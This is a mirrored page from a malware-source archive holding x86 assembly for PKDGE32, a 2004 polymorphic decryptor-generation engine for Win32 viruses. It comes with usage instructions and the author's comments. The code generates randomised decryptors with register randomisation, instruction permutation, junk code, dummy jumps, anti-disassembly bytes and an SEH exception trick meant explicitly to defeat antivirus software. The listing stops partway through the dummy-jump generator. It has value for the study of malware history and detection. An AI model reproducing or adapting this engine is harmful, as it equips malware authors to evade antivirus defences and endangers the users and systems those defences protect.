mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
929 lines
34 KiB
PHP
929 lines
34 KiB
PHP
|
;
|
||
|
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
|
||
|
; ======================================================
|
||
|
;
|
||
|
;
|
||
|
; Description
|
||
|
; -----------
|
||
|
;
|
||
|
; I wanted to code a polymorphic engine when I first started coding this. Then
|
||
|
; I got the idea of generating decrypt code dynamically instead of morphing the
|
||
|
; original decrypt code. The generated decryptor uses random registerz, with
|
||
|
; junk code inserted, and it's instruction-permutable. When coding, I found
|
||
|
; that the name 'decrypt generation engine' is more appropriate than a poly-
|
||
|
; morphic engine, so I renamed it to PKDBE32.
|
||
|
;
|
||
|
; Generally, the decrypt code looks like the following:
|
||
|
;
|
||
|
; mov Rw,offset code2decrypt ; (1)
|
||
|
; mov Rz,decrypt_size ; (2)
|
||
|
; decrypt_loop: xor byte [Rw],imm8 ; (3)
|
||
|
; inc Rw ; (4)
|
||
|
; dec Rz ; (5)
|
||
|
; jnz decrypt_loop ; (6)
|
||
|
;
|
||
|
; As we can see, I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
|
||
|
; this means the we can use random registerz in the decrypt code. The engine
|
||
|
; can select random registerz to generate each instruction. Meanwhile, the
|
||
|
; first 2 instructionz are permutable, so the engine will put the 2 instruc-
|
||
|
; tionz in a random order. Also, we know that some of the instructionz can be
|
||
|
; replaced by other instructionz that performed the same. For example, we can
|
||
|
; use PUSH/POP to replace MOV XXX/XXX, etc. Last but important, is, the engine
|
||
|
; will insert junk codez after each instructionz.
|
||
|
;
|
||
|
; One more thing, the engine setup a SEH frame before the decrypt code in order
|
||
|
; to fuck some AVsoftz. And of course, there're also junk codez between these
|
||
|
; instructionz.
|
||
|
;
|
||
|
; The SEH frame's like the following code:
|
||
|
;
|
||
|
; start: call setup_seh ; (1)
|
||
|
; mov esp,[esp+8] ; (2)
|
||
|
; jmp end_seh ; (3)
|
||
|
; setup_seh: xor Rx,Rx ; (4)
|
||
|
; push dword [fs:Rx] ; (5)
|
||
|
; mov [fs:Rx],esp ; (6)
|
||
|
; dec dword [Rx] ; (7)
|
||
|
; jmp start ; (8)
|
||
|
; end_seh: xor Ry,Ry ; (9)
|
||
|
; pop dword [fs:Ry] ; (10)
|
||
|
; pop Rz ; (11)
|
||
|
;
|
||
|
; Then comes the real decrypt code (generated by this engine).
|
||
|
;
|
||
|
;
|
||
|
; How to use it?
|
||
|
; --------------
|
||
|
;
|
||
|
; This engine can compile with FASM, TASM and MASM, etc.
|
||
|
;
|
||
|
; When using FASM we can:
|
||
|
;
|
||
|
; decryptor: times 40h db 90h
|
||
|
; crypt_code: ...
|
||
|
; crypted_size = $-crypt_code
|
||
|
; rng_seed dd ?
|
||
|
;
|
||
|
; gen_decrytpor: mov edi,decryptor
|
||
|
; mov esi,rng_seed
|
||
|
; mov ebx,crypt_code
|
||
|
; mov ecx,crypted_size
|
||
|
; mov edx,9ah
|
||
|
; call __pkdge32
|
||
|
;
|
||
|
; When using TASM or MASM we should:
|
||
|
;
|
||
|
; decryptor db 40h dup (90h)
|
||
|
; crypt_code: ...
|
||
|
; crypted_size = $-crypt_code
|
||
|
; rng_seed dd ?
|
||
|
;
|
||
|
; gen_decrytpor: mov edi,offset decryptor
|
||
|
; mov esi,offset rng_seed
|
||
|
; mov ebx,offset crypt_code
|
||
|
; mov ecx,crypted_size
|
||
|
; mov edx,9ah
|
||
|
; call __pkdge32
|
||
|
;
|
||
|
; One more feature, the engine returns the address of the code2decrypt field in
|
||
|
; the decryptor, so we can fix this value after generating the decryptor. This
|
||
|
; means we can replace the code which to be decrypt anywhere after generating
|
||
|
; the decrypt code. We can replace our code which to be decrypted just after
|
||
|
; the decryptor, without padding so many NOPz between them :P
|
||
|
;
|
||
|
; We could code like this:
|
||
|
;
|
||
|
; col_code: times crypted_size+200h db 0
|
||
|
;
|
||
|
; gen_decrytpor: mov edi,col_code
|
||
|
; mov esi,rng_seed
|
||
|
; mov ecx,crypted_size
|
||
|
; mov ebx,12345678h
|
||
|
; mov edx,12345678h
|
||
|
; call __pkdge32
|
||
|
; fix_address: mov esi,edi
|
||
|
; xchg eax,edi
|
||
|
; stosd
|
||
|
; xchg esi,edi
|
||
|
; copy_code: mov esi,crypt_code
|
||
|
; mov ecx,crypted_size
|
||
|
; rep movsb
|
||
|
;
|
||
|
; Well, enjoy it!
|
||
|
;
|
||
|
;
|
||
|
; Copyright
|
||
|
; ---------
|
||
|
;
|
||
|
; (c) 2004. No rightz reserved. Use without permission :P.
|
||
|
;
|
||
|
|
||
|
|
||
|
;
|
||
|
; __pkdge32 procedure
|
||
|
; ===================
|
||
|
;
|
||
|
;
|
||
|
; Description
|
||
|
; -----------
|
||
|
;
|
||
|
; This is the main procedure of the engine. It controlz the whole generation
|
||
|
; process, including SEH setup, instruction generation, junk code insertion,
|
||
|
; etc.
|
||
|
;
|
||
|
;
|
||
|
; Parameterz and Return Value
|
||
|
; ---------------------------
|
||
|
;
|
||
|
; Input:
|
||
|
; ecx --- decrypt buffer size (counter in bytez)
|
||
|
; edx --- decrypt key
|
||
|
; edi --- pointz to the buffer to save decryptor
|
||
|
; ebx --- pointz to the buffer where saved the encrypted code
|
||
|
; esi --- pointz to the RNG seed buffer
|
||
|
;
|
||
|
; Output:
|
||
|
; edi --- the end of the decryptor
|
||
|
; eax --- pointz to the address of the code which will be decrypted in
|
||
|
; the decryptor, this means we can place the code which will be
|
||
|
; decrypted anywhere by fixing the value pointed by EAX
|
||
|
;
|
||
|
|
||
|
__pkdge32: pushad
|
||
|
xor ebp,ebp
|
||
|
xchg esi,edi ; initialize the RNG seed
|
||
|
call __randomize ; ...
|
||
|
xchg esi,edi ; ...
|
||
|
|
||
|
;
|
||
|
; First, we select four random registerz for later use. These four registerz
|
||
|
; are all different
|
||
|
;
|
||
|
|
||
|
xor ebx,ebx ; used to save Rw, Rz, Rx, Ry
|
||
|
call pkdg_sel_reg
|
||
|
or bl,al
|
||
|
call pkdg_sel_reg
|
||
|
shl ebx,4
|
||
|
or bl,al
|
||
|
call pkdg_sel_reg
|
||
|
shl ebx,4
|
||
|
or bl,al
|
||
|
call pkdg_sel_reg
|
||
|
shl ebx,4
|
||
|
or bl,al
|
||
|
|
||
|
;
|
||
|
; We setup a SEH frame, then we raise an exception and run the following codez.
|
||
|
; This action may fuck some of the AVsoftz.
|
||
|
;
|
||
|
|
||
|
push edi
|
||
|
xor eax,eax ; some junk code
|
||
|
call __pkdge32_junk ; ...
|
||
|
mov al,0e8h ; seh instruction 1
|
||
|
stosb ; ...
|
||
|
stosd ; addr 1, no matter what, fix l8r
|
||
|
push edi ; save addr1 to fix
|
||
|
xor eax,eax ; some junk code
|
||
|
call __pkdge32_junk ; ...
|
||
|
mov eax,0824648bh ; seh instruction 2
|
||
|
stosd ; ...
|
||
|
xor eax,eax ; some junk code
|
||
|
call __pkdge32_junk ; ...
|
||
|
mov al,0ebh ; seh instruction 3
|
||
|
stosb ; ...
|
||
|
stosb ; addr 2, no matter what, fix l8r
|
||
|
push edi ; save addr2 to fix
|
||
|
mov eax,[esp+4] ; fix addr1
|
||
|
xchg edi,eax ; ...
|
||
|
sub eax,edi ; ...
|
||
|
sub edi,4 ; ...
|
||
|
stosd ; ...
|
||
|
add edi,eax ; ...
|
||
|
xor eax,eax ; some junk code
|
||
|
call __pkdge32_junk ; ...
|
||
|
mov ah,bl ; seh instruction 4
|
||
|
and ah,7 ; ...
|
||
|
or eax,0c031h ; ...
|
||
|
push ebx ; ...
|
||
|
and ebx,7 ; ...
|
||
|
shl ebx,11 ; ...
|
||
|
or eax,ebx ; ...
|
||
|
pop ebx ; ...
|
||
|
stosw ; ...
|
||
|
xor eax,eax ; some junk code
|
||
|
call __pkdge32_junk ; ...
|
||
|
mov eax,0ff64h ; seh instruction 5
|
||
|
stosw ; ...
|
||
|
mov al,bl ; ...
|
||
|
and eax,7 ; ...
|
||
|
or al,30h ; ...
|
||
|
stosb ; ...
|
||
|
xor eax,eax ; some junk code
|
||
|
call __pkdge32_junk ; ...
|
||
|
mov eax,8964h ; seh instruction 6
|
||
|
stosw ; ...
|
||
|
mov al,bl ; ...
|
||
|
and eax,7 ; ...
|
||
|
or al,20h ; ...
|
||
|
stosb ; ...
|
||
|
xor eax,eax ; some junk code
|
||
|
call __pkdge32_junk ; ...
|
||
|
mov ah,bl ; seh instruction 7
|
||
|
and eax,700h ; ...
|
||
|
or eax,08ffh ; ...
|
||
|
stosw ; ...
|
||
|
xor eax,eax ; some junk code
|
||
|
call __pkdge32_junk ; ...
|
||
|
mov al,0ebh ; seh instruction 8
|
||
|
stosb ; ...
|
||
|
mov eax,[esp+8] ; ...
|
||
|
sub eax,edi ; ...
|
||
|
dec eax ; ...
|
||
|
stosb ; ...
|
||
|
xor eax,eax ; some junk code
|
||
|
call __pkdge32_junk ; ...
|
||
|
pop eax ; fix addr2
|
||
|
xchg eax,edi ; ...
|
||
|
sub eax,edi ; ...
|
||
|
dec edi ; ...
|
||
|
stosb ; ...
|
||
|
add edi,eax ; ...
|
||
|
mov ah,bh ; seh instruction 9
|
||
|
and eax,700h ; ...
|
||
|
or eax,0c031h ; ...
|
||
|
push ebx ; ...
|
||
|
and ebx,700h ; ...
|
||
|
shl ebx,3 ; ...
|
||
|
or eax,ebx ; ...
|
||
|
pop ebx ; ...
|
||
|
stosw ; ...
|
||
|
xor eax,eax ; some junk code
|
||
|
call __pkdge32_junk ; ...
|
||
|
mov eax,8f64h ; seh instruction 10
|
||
|
stosw ; ...
|
||
|
mov al,bh ; ...
|
||
|
and eax,7 ; ...
|
||
|
stosb ; ...
|
||
|
xor eax,eax ; some junk code
|
||
|
call __pkdge32_junk ; ...
|
||
|
mov al,bh ; seh instruction 11
|
||
|
and al,7 ; ...
|
||
|
or al,58h ; ...
|
||
|
stosb ; ...
|
||
|
xor eax,eax ; some junk code
|
||
|
call __pkdge32_junk ; ...
|
||
|
add esp,8 ; balance the stack
|
||
|
|
||
|
;
|
||
|
; Now, generate the first two instructionz with junk codez between them, and
|
||
|
; permute the two instructionz in a random order.
|
||
|
;
|
||
|
|
||
|
mov ecx,2
|
||
|
call __random_rdtsc
|
||
|
or ecx,ecx
|
||
|
jz pkdg_gen_12
|
||
|
call pkdg_gen_1
|
||
|
call pkdg_gen_2
|
||
|
jmp pkdg_gen_f2f
|
||
|
pkdg_gen_12: call pkdg_gen_2
|
||
|
call pkdg_gen_1
|
||
|
|
||
|
;
|
||
|
; The last step, we generate the last four instructionz with junk codez in them
|
||
|
; these four instructionz must in the same order, but the registerz they use
|
||
|
; are still random
|
||
|
;
|
||
|
|
||
|
pkdg_gen_f2f: mov esi,[esp+4] ; restore ESI
|
||
|
push edi ; save loop address
|
||
|
|
||
|
push esi
|
||
|
mov eax,ebx ; xor byte [Rw],Imm8
|
||
|
shr eax,12 ; ...
|
||
|
and al,7 ; ...
|
||
|
mov esi,[esp+28] ; ...
|
||
|
call __pkdge32_gen_xor_reg_imm
|
||
|
pop esi
|
||
|
xor eax,eax
|
||
|
call __pkdge32_junk
|
||
|
|
||
|
mov eax,ebx ; inc Rw
|
||
|
shr eax,12 ; ...
|
||
|
and eax,7 ; ...
|
||
|
or al,40h
|
||
|
stosb
|
||
|
xor eax,eax
|
||
|
call __pkdge32_junk
|
||
|
|
||
|
mov eax,ebx ; dec Rz
|
||
|
shr eax,4 ; ...
|
||
|
and eax,7 ; ...
|
||
|
or al,48h ; ...
|
||
|
stosb ; ...
|
||
|
|
||
|
pop eax ; jnz decrypt_loop
|
||
|
sub eax,edi ; get delta
|
||
|
dec eax ; ...
|
||
|
dec eax ; ...
|
||
|
push eax
|
||
|
mov al,75h ; write opcode
|
||
|
stosb ; ...
|
||
|
pop eax
|
||
|
stosb ; write operand
|
||
|
xor eax,eax
|
||
|
call __pkdge32_junk
|
||
|
|
||
|
mov [esp],edi ; save new EDI
|
||
|
popad
|
||
|
ret
|
||
|
|
||
|
pkdg_gen_1: mov esi,[esp+20] ; get offset code2decrypt
|
||
|
mov eax,ebx ; get Rw
|
||
|
shr eax,12 ; ...
|
||
|
call pkdge32_gen12
|
||
|
mov [esp+32],eax ; save offset of code2decrypt
|
||
|
ret
|
||
|
pkdg_gen_2: mov esi,[esp+28] ; get decrypt_size
|
||
|
mov eax,ebx ; get Rz
|
||
|
shr eax,4 ; ...
|
||
|
and eax,0fh ; ...
|
||
|
call pkdge32_gen12
|
||
|
ret
|
||
|
|
||
|
;
|
||
|
; Using this function to generate the first two instructionz of the decryptor,
|
||
|
; which are permutable
|
||
|
;
|
||
|
|
||
|
pkdge32_gen12: push ecx
|
||
|
push eax ; save mask
|
||
|
mov ecx,2 ; determine using MOV REG/IMM
|
||
|
call __random_rdtsc ; or PUSH IMM/POP REG
|
||
|
or eax,eax
|
||
|
pop eax ; restore mask
|
||
|
pop ecx
|
||
|
jz pkdg_g123_0
|
||
|
call __pkdge32_gen_mov_reg_imm
|
||
|
push edi
|
||
|
xor eax,eax
|
||
|
mov esi,[esp+16]
|
||
|
call __pkdge32_junk
|
||
|
pop eax
|
||
|
sub eax,4
|
||
|
ret
|
||
|
pkdg_g123_0: call __pkdge32_gen_pushimm_popreg
|
||
|
push eax
|
||
|
xor eax,eax
|
||
|
mov esi,[esp+16]
|
||
|
call __pkdge32_junk
|
||
|
pop eax
|
||
|
sub eax,4
|
||
|
ret
|
||
|
|
||
|
;
|
||
|
; This procudure selectz the random register Rw, Rx, Ry, Rz. The function will
|
||
|
; make EBX to the following structure:
|
||
|
;
|
||
|
; 31 15 0
|
||
|
; +-----+-----+-----+-----+------+------+------+------+
|
||
|
; | 0 | 0 | 0 | 0 | Rw | Ry | Rz | Rx |
|
||
|
; +-----+-----+-----+-----+------+------+------+------+
|
||
|
;
|
||
|
|
||
|
pkdg_sel_reg: mov eax,[esp+8] ; select random register
|
||
|
mov edx,8 ; ...
|
||
|
call __random ; ...
|
||
|
or al,al
|
||
|
jz pkdg_sel_reg ; don't use EAX
|
||
|
cmp al,4
|
||
|
jz pkdg_sel_reg ; don't use ESP
|
||
|
cmp al,5
|
||
|
jz pkdg_sel_reg ; don't use EBP
|
||
|
or al,8 ; DWORD type
|
||
|
|
||
|
push ebx
|
||
|
and ebx,0fh
|
||
|
cmp bl,al ; R == Rx ?
|
||
|
pop ebx
|
||
|
jz pkdg_sel_reg
|
||
|
|
||
|
push ebx
|
||
|
shr ebx,4
|
||
|
and ebx,0fh
|
||
|
cmp bl,al ; R == Rz ?
|
||
|
pop ebx
|
||
|
jz pkdg_sel_reg
|
||
|
|
||
|
push ebx
|
||
|
shr ebx,8
|
||
|
cmp bl,al ; R == Ry ?
|
||
|
pop ebx
|
||
|
jz pkdg_sel_reg
|
||
|
|
||
|
push ebx
|
||
|
shr ebx,12
|
||
|
cmp bl,al ; R == Rw ?
|
||
|
pop ebx
|
||
|
jz pkdg_sel_reg
|
||
|
ret
|
||
|
|
||
|
|
||
|
;
|
||
|
; __pkdge32_test_regmask procedure
|
||
|
; ================================
|
||
|
;
|
||
|
;
|
||
|
; Description
|
||
|
; -----------
|
||
|
;
|
||
|
; All the register mask in the engine (PKDGE32) measure up this formula:
|
||
|
; bit 2~0 specifies the register mask, bit 8 and bit 3 specifies the type of
|
||
|
; the operand
|
||
|
;
|
||
|
; +-------+-------+--------+
|
||
|
; | bit 8 | bit 3 | type |
|
||
|
; +-------+-------+--------+
|
||
|
; | x | 0 | byte |
|
||
|
; +-------+-------+--------+
|
||
|
; | 0 | 1 | dword |
|
||
|
; +-------+-------+--------+
|
||
|
; | 1 | 1 | word |
|
||
|
; +-------+-------+--------+
|
||
|
;
|
||
|
; This function test this mask, if it specified a WORD type, the function STOSB
|
||
|
; an accessorial opcode 66H. If it specified a BYTE or DWORD type, function do
|
||
|
; nothing but return
|
||
|
;
|
||
|
;
|
||
|
; Parameterz and Return Value
|
||
|
; ---------------------------
|
||
|
;
|
||
|
; Input:
|
||
|
; eax --- register mask
|
||
|
; edi --- pointz to the buffer to save the instructionz
|
||
|
;
|
||
|
; Output:
|
||
|
; Nothing
|
||
|
;
|
||
|
|
||
|
__pkdge32_test_regmask:
|
||
|
test ah,1
|
||
|
jz pkdg_trm_ret
|
||
|
push eax
|
||
|
mov al,66h
|
||
|
stosb
|
||
|
pop eax
|
||
|
pkdg_trm_ret: ret
|
||
|
|
||
|
|
||
|
;
|
||
|
; __pkdge32_gen_mov_reg_imm procedure
|
||
|
; ===================================
|
||
|
;
|
||
|
;
|
||
|
; Description
|
||
|
; -----------
|
||
|
;
|
||
|
; This function generatez MOV REG,IMM type of instructionz.
|
||
|
;
|
||
|
;
|
||
|
; Parameterz and Return Value
|
||
|
; ---------------------------
|
||
|
;
|
||
|
; Input:
|
||
|
; eax --- register mask
|
||
|
; edi --- pointz to the buffer to save the instructionz
|
||
|
; esi --- immediate number (source operand)
|
||
|
;
|
||
|
; Output:
|
||
|
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
|
||
|
; position in the buffer
|
||
|
;
|
||
|
|
||
|
__pkdge32_gen_mov_reg_imm:
|
||
|
call __pkdge32_test_regmask
|
||
|
push esi
|
||
|
or al,0b0h ; generate opcode
|
||
|
stosb ; ...
|
||
|
xchg eax,esi ; EAX get the operand
|
||
|
shr esi,4
|
||
|
jc pkdg_gmri_dw ; word/dword ? byte ?
|
||
|
stosb ; byte
|
||
|
pop esi
|
||
|
ret
|
||
|
pkdg_gmri_dw: shr esi,5
|
||
|
pop esi
|
||
|
jc pkdg_gmri_w
|
||
|
stosd ; dword
|
||
|
ret
|
||
|
pkdg_gmri_w: stosw ; word
|
||
|
ret
|
||
|
|
||
|
|
||
|
;
|
||
|
; __pkdge32_gen_pushimm_popreg procedure
|
||
|
; ======================================
|
||
|
;
|
||
|
;
|
||
|
; Description
|
||
|
; -----------
|
||
|
;
|
||
|
; This function generatez PUSH IMM/POP REG group instructionz.
|
||
|
;
|
||
|
;
|
||
|
; Parameterz and Return Value
|
||
|
; ---------------------------
|
||
|
;
|
||
|
; Input:
|
||
|
; eax --- register mask
|
||
|
; edi --- pointz to the buffer to save the instructionz
|
||
|
; esi --- immediate number (source operand)
|
||
|
;
|
||
|
; Output:
|
||
|
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
|
||
|
; position in the buffer
|
||
|
;
|
||
|
|
||
|
__pkdge32_gen_pushimm_popreg:
|
||
|
call __pkdge32_test_regmask
|
||
|
push ecx
|
||
|
mov ecx,esi ; save IMM in ecx
|
||
|
xchg esi,eax
|
||
|
test esi,8 ; test BYTE or WORD/DWORD
|
||
|
jz pkdg_gpp_b
|
||
|
mov al,68h ; push WORD/DWORD
|
||
|
stosb ; write opcode
|
||
|
xchg eax,ecx ; get IMM
|
||
|
test esi,100h ; test WORD or DWORD
|
||
|
jnz pkdg_gpp_w
|
||
|
stosd ; write operand
|
||
|
jmp pkdg_gpp_pop
|
||
|
pkdg_gpp_w: stosw
|
||
|
jmp pkdg_gpp_pop
|
||
|
pkdg_gpp_b: mov al,6ah ; push BYTE
|
||
|
stosb ; write opcode
|
||
|
mov al,cl ; get IMM
|
||
|
stosb ; write operand
|
||
|
pkdg_gpp_pop: push edi
|
||
|
xor eax,eax
|
||
|
push esi
|
||
|
mov esi,[esp+28]
|
||
|
call __pkdge32_junk
|
||
|
pop esi
|
||
|
call __pkdge32_test_regmask
|
||
|
xchg esi,eax
|
||
|
or al,58h ; generate POP opcode
|
||
|
stosb ; write pop REG opcode
|
||
|
pop eax
|
||
|
pop ecx
|
||
|
ret
|
||
|
|
||
|
|
||
|
;
|
||
|
; __pkdge32_gen_xor_reg_imm procedure
|
||
|
; ===================================
|
||
|
;
|
||
|
;
|
||
|
; Description
|
||
|
; -----------
|
||
|
;
|
||
|
; This function generatez XOR [REG],IMM type of instructionz.
|
||
|
;
|
||
|
;
|
||
|
; Parameterz and Return Value
|
||
|
; ---------------------------
|
||
|
;
|
||
|
; Input:
|
||
|
; eax --- register mask
|
||
|
; esi --- the immediate number
|
||
|
; edi --- pointz to the buffer to save the instructionz
|
||
|
;
|
||
|
; Output:
|
||
|
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
|
||
|
; position in the buffer
|
||
|
;
|
||
|
|
||
|
__pkdge32_gen_xor_reg_imm:
|
||
|
call __pkdge32_test_regmask
|
||
|
test al,1000b
|
||
|
jnz pkdg_gxri_dw
|
||
|
and eax,7 ; register mask
|
||
|
xchg al,ah
|
||
|
or eax,3080h
|
||
|
stosw
|
||
|
xchg eax,esi
|
||
|
stosb
|
||
|
ret
|
||
|
pkdg_gxri_dw: push eax
|
||
|
and eax,7 ; register mask
|
||
|
xchg al,ah
|
||
|
or eax,3081h
|
||
|
stosw
|
||
|
xchg eax,esi
|
||
|
pop esi
|
||
|
shr esi,9
|
||
|
jc pkdg_gxri_w
|
||
|
stosd ; dword
|
||
|
ret
|
||
|
pkdg_gxri_w: stosw ; word
|
||
|
ret
|
||
|
|
||
|
|
||
|
;
|
||
|
; __pkdge32_junk procedure
|
||
|
; ========================
|
||
|
;
|
||
|
;
|
||
|
; Decription
|
||
|
; ----------
|
||
|
;
|
||
|
; This is the junk code generator. It generatez length-spceified instructionz,
|
||
|
; dummy jumpz and anti-static-debugging opcodez.
|
||
|
;
|
||
|
; This procedure use EAX as junk register in order to generate instructionz
|
||
|
; like:
|
||
|
;
|
||
|
; mov eax,21343ab7h
|
||
|
; shr eax,8
|
||
|
; or:
|
||
|
; push eax
|
||
|
; rol eax,1
|
||
|
; pop eax
|
||
|
; etc.
|
||
|
;
|
||
|
; It generatez dummy jumpz such as:
|
||
|
;
|
||
|
; call @1
|
||
|
; junk
|
||
|
; jmp @3
|
||
|
; @2: junk
|
||
|
; ret
|
||
|
; @1: junk
|
||
|
; jmp @2
|
||
|
; @3: junk
|
||
|
;
|
||
|
; It also generatez anti-static-debugging opcodez such as:
|
||
|
;
|
||
|
; jmp @0
|
||
|
; db e9h
|
||
|
; @@:
|
||
|
;
|
||
|
;
|
||
|
; Parameterz and Return Value
|
||
|
; ---------------------------
|
||
|
;
|
||
|
; Input:
|
||
|
; eax --- If eax equalz to zero, the function generatez random length of
|
||
|
; instructionz, if eax is nonzero, the function generatez a
|
||
|
; certain length of instruction.
|
||
|
; esi --- pointz to the RNG seed buffer
|
||
|
; edi --- pointz to the buffer to save the instructionz
|
||
|
;
|
||
|
; Output:
|
||
|
; Nothing but junk codez in the buffer that EDI specified
|
||
|
;
|
||
|
|
||
|
__pkdge32_junk: pushad
|
||
|
xor ebx,ebx
|
||
|
xchg esi,ebp ; let EBP hold the seed ptr.
|
||
|
or eax,eax ; EAX containz number from 0~7
|
||
|
jnz pkdg_js ; 0~5: gen. 0~5 bytez of junk codez
|
||
|
mov edx,7 ; 6: generate dummy jumpz
|
||
|
mov eax,ebp
|
||
|
call __random ; ...
|
||
|
pkdg_js: or eax,eax ; 0: nothing to do
|
||
|
jz pkdg_j_ret ; just go back
|
||
|
xchg ecx,eax ; let ECX hold that number
|
||
|
cmp ecx,6
|
||
|
jz pkdg_j_dj
|
||
|
|
||
|
;
|
||
|
; Generate certain length simpile instructionz
|
||
|
;
|
||
|
|
||
|
pkdg_j_gclsi: mov edx,ecx
|
||
|
mov eax,ebp
|
||
|
call __random
|
||
|
or eax,eax
|
||
|
jz pkdg_j_g1b
|
||
|
dec eax
|
||
|
jz pkdg_j_g2b
|
||
|
dec eax
|
||
|
jz pkdg_j_g3b
|
||
|
dec eax
|
||
|
dec eax
|
||
|
jz pkdg_j_g5b
|
||
|
jmp pkdg_j_gclsi
|
||
|
|
||
|
;
|
||
|
; Generate 5-byte instruction
|
||
|
;
|
||
|
|
||
|
pkdg_j_g5b: call pkdg_j_5
|
||
|
db 0b8h ; mov eax,imm32
|
||
|
db 05h ; add eax,imm32
|
||
|
db 15h ; adc eax,imm32
|
||
|
db 2dh ; sub eax,imm32
|
||
|
db 1dh ; sbb eax,imm32
|
||
|
db 3dh ; cmp eax,imm32
|
||
|
db 0a9h ; test eax,imm32
|
||
|
db 0dh ; or eax,imm32
|
||
|
db 25h ; and eax,imm32
|
||
|
db 35h ; xor eax,imm32
|
||
|
pkdg_j_5: pop esi
|
||
|
mov eax,ebp
|
||
|
mov edx,10
|
||
|
call __random
|
||
|
add esi,eax
|
||
|
movsb
|
||
|
mov eax,ebp
|
||
|
mov edx,0fffffffch
|
||
|
call __random
|
||
|
inc eax
|
||
|
inc eax
|
||
|
stosd
|
||
|
sub ecx,5 ; decrease counter
|
||
|
jz pkdg_j_rptr
|
||
|
jmp pkdg_j_gclsi
|
||
|
|
||
|
;
|
||
|
; Generate 3-byte instruction
|
||
|
;
|
||
|
|
||
|
pkdg_j_g3b: call pkdg_j_3
|
||
|
db 0c1h,0e0h ; shl eax,imm8
|
||
|
db 0c1h,0e8h ; shr eax,imm8
|
||
|
db 0c1h,0c0h ; rol eax,imm8
|
||
|
db 0c1h,0c8h ; ror eax,imm8
|
||
|
db 0c1h,0d0h ; rcl eax,imm8
|
||
|
db 0c1h,0d8h ; rcr eax,imm8
|
||
|
db 0c0h,0e0h ; shl al,imm8
|
||
|
db 0c0h,0e8h ; shr al,imm8
|
||
|
db 0c0h,0c0h ; rol al,imm8
|
||
|
db 0c0h,0c8h ; ror al,imm8
|
||
|
db 0c0h,0d0h ; rcl al,imm8
|
||
|
db 0c0h,0d8h ; rcr al,imm8
|
||
|
db 0ebh,01h ; anti-static-debugging instr.
|
||
|
pkdg_j_3: pop esi
|
||
|
mov eax,ebp
|
||
|
mov edx,13
|
||
|
call __random
|
||
|
shl eax,1 ; EAX *= 2
|
||
|
add esi,eax
|
||
|
movsw
|
||
|
cmp eax,24
|
||
|
jge pkdg_j3_anti
|
||
|
mov eax,ebp
|
||
|
mov edx,14
|
||
|
call __random
|
||
|
inc eax
|
||
|
inc eax
|
||
|
pkdg_j_3f: stosb
|
||
|
sub ecx,3 ; decrease counter
|
||
|
jz pkdg_j_rptr
|
||
|
jmp pkdg_j_gclsi
|
||
|
pkdg_j3_anti: mov eax,ebp
|
||
|
mov edx,10h
|
||
|
call __random
|
||
|
add al,70h
|
||
|
jmp pkdg_j_3f
|
||
|
|
||
|
;
|
||
|
; Generate 2-byte instruction
|
||
|
;
|
||
|
|
||
|
pkdg_j_g2b: call pkdg_j_2
|
||
|
db 89h ; mov eax,reg
|
||
|
db 01h ; add eax,reg
|
||
|
db 11h ; adc eax,reg
|
||
|
db 29h ; sub eax,reg
|
||
|
db 19h ; sbb eax,reg
|
||
|
db 39h ; cmp eax,reg
|
||
|
db 85h ; test eax,reg
|
||
|
db 09h ; or eax,reg
|
||
|
db 21h ; and eax,reg
|
||
|
db 31h ; xor eax,reg
|
||
|
db 0b0h ; mov al,imm8
|
||
|
db 04h ; add al,imm8
|
||
|
db 14h ; adc al,imm8
|
||
|
db 2ch ; sub al,imm8
|
||
|
db 1ch ; sbb al,imm8
|
||
|
db 3ch ; cmp al,imm8
|
||
|
db 0a8h ; test al,imm8
|
||
|
db 0ch ; or al,imm8
|
||
|
db 24h ; and al,imm8
|
||
|
db 34h ; xor al,imm8
|
||
|
pkdg_j_2: pop esi
|
||
|
mov eax,ebp
|
||
|
mov edx,20
|
||
|
call __random
|
||
|
add esi,eax
|
||
|
movsb ; write the opcode
|
||
|
cmp eax,10
|
||
|
jge pkdg_j2_imm8
|
||
|
mov eax,ebp
|
||
|
mov edx,8
|
||
|
call __random
|
||
|
shl eax,3 ; dest. operand
|
||
|
or al,0c0h ; ...
|
||
|
jmp pkdg_j2_f
|
||
|
pkdg_j2_imm8: mov eax,ebp
|
||
|
mov edx,100h
|
||
|
call __random
|
||
|
pkdg_j2_f: stosb
|
||
|
dec ecx ; decrease counter
|
||
|
dec ecx ; ...
|
||
|
jz pkdg_j_rptr
|
||
|
jmp pkdg_j_gclsi
|
||
|
|
||
|
;
|
||
|
; Generate 1-byte instruction
|
||
|
;
|
||
|
|
||
|
pkdg_j_g1b: call pkdg_j_1
|
||
|
db 90h ; nop
|
||
|
db 0f8h ; clc
|
||
|
db 0f9h ; stc
|
||
|
db 40h ; inc eax
|
||
|
db 48h ; dec eax
|
||
|
db 37h ; aaa
|
||
|
db 3fh ; aas
|
||
|
db 98h ; cbw
|
||
|
db 0fch ; cld
|
||
|
db 0f5h ; cmc
|
||
|
db 27h ; daa
|
||
|
db 2fh ; das
|
||
|
db 9fh ; lahf
|
||
|
db 0d6h ; salc
|
||
|
pkdg_j_1: pop esi
|
||
|
mov eax,ebp
|
||
|
mov edx,14
|
||
|
call __random
|
||
|
add esi,eax
|
||
|
movsb ; write the code
|
||
|
dec ecx ; decrease counter
|
||
|
or ecx,ecx
|
||
|
jnz pkdg_j_gclsi
|
||
|
pkdg_j_rptr: mov [esp],edi
|
||
|
pkdg_j_ret: popad
|
||
|
ret
|
||
|
|
||
|
;
|
||
|
; Generate dummy jumpz. the generation formula show in the decription of the
|
||
|
; __pkdge32_junk procedure
|
||
|
;
|
||
|
|
||
|
pkdg_j_dj: mov al,0e8h ; call xxxxxxxx
|
||
|
stosb ; ...
|
||
|
stosd ; addr1, no matter what, fix l8r
|
||
|
push edi
|
||
|
mov eax,ebp ; some more junx
|
||
|
mov edx,6 ; ...
|
||
|
call __random ; ...
|
||
|
mov esi,ebp ; ...
|
||
|
call __pkdge32_junk ; ...
|
||
|
mov al,0ebh ; jmp xx
|
||
|
stosb ; ...
|
||
|
stosb ; addr2, no matter what, fix l8r
|
||
|
push edi
|
||
|
mov eax,ebp ; some more junx
|
||
|
mov edx,6 ; ...
|
||
|
call __random ; ...
|
||
|
mov esi,ebp ; ...
|
||
|
call __pkdge32_junk ; ...
|
